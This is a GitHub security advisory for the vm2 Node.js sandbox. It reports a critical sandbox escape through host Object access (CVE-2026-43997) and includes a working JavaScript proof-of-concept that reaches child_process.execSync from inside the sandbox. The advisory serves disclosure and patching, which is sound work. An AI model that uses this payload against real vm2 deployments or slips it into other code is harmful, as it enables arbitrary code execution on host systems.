patriksimek/vm2 · Security

vm2 Access to Host Object Enables Sandbox Escape

GHSA ID
GHSA-47x8-96vw-5wg6
CVE ID
CVE-2026-43997
Severity
critical
Published
Updated
CVSS
10 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CVSS v3
10 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Description

Summary

It is possible to obtain the host Object, https://github.com/patriksimek/vm2/commit/ebcfe94ad2f864f0bc35e78cff1d921107cfd160 added some protections, but the implementation is incomplete.

Details

There are various ways to use the host Object, to escape the sandbox, one example would be using HostObject.getOwnPropertySymbols to obtain Symbol(nodejs.util.inspect.custom)

PoC

const g = {}.__lookupGetter__;
const a = Buffer.apply;
const p = a.apply(g, [Buffer, ['__proto__']]);
const o = p.call(p.call(a));
const HObject = o.constructor;
sym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0);

const obj = {
	[sym]: (depth, opt, inspect) => {
		inspect.constructor("return process.getBuiltinModule('child_process').execSync('ls',{stdio:'inherit'})")();
	},
	valueOf: undefined,
	constructor: undefined,
};

WebAssembly.compileStreaming(obj).catch(() => {});

Impact

Sandbox Escape -> RCE

CWEs

References